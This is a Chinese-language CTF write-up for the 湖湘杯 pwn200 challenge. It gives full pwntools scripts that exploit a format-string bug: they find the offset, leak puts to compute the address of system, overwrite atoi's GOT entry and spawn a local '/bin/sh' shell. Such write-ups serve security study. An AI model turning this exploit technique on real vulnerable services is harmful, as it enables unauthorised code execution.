湖湘杯 pwn200(pwne) [format string]
网上随便找一下能够找到二进制文件和libc,这里就不贴了~
在函数80485CD处有上图所示的printf漏洞
checksec发现,32位程序,和hackme的echo不同的是,开了Canary和NX
所以思路还是一样,先要泄露偏移值
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
def find_offset(payload):
io = process("./pwne")
io.recvuntil("[Y/N]")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(payload)
info = io.recv()
io.close()
return info
autofmt = FmtStr(find_offset)
print autofmt.offset
值是7,检验一下
然后,泄露出puts函数的地址,从而可以计算出system的地址
第一次格式化字符串目的:泄露函数地址(puts)-(system)
(翻一翻pwne的函数表:没有system函数,所以要泄露)
第二次格式化字符串目的:修改函数地址(atoi)-(system)
即类似hackme的echo题(将printf函数的got地址改成system函数的plt地址),将atoi函数的got地址改成system函数的plt地址
利用之后的read函数,输入"/bin/sh"即可,代码如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF("./pwne")
#libc = ELF("./libc.so.6")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process("./pwne")
#leak puts addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(p32(elf.got["puts"]) + "%7$s")
io.recvuntil("WELCOME \n")
puts_addr = io.recv()[4:8]
io.sendline("0xABCD")
#calc system addr
system_addr = libc.symbols["system"] - libc.symbols["puts"] + u32(puts_addr)
atoi_addr = elf.got["atoi"]
#change atoi_addr -> system_addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(fmtstr_payload(7, {atoi_addr: system_addr}))
#read()
io.recvuntil("AGE:\n\n")
#atoi("/bin/sh") -> system("/bin/sh")
io.sendline("/bin/sh\x00")
io.interactive()
发现:只能用自己机器的libc,用网上下载的libc不对(对比了一下,机器中的so文件大小为1745KB,网上提供的为1722KB,可能是puts和system的偏移不同了导致错误)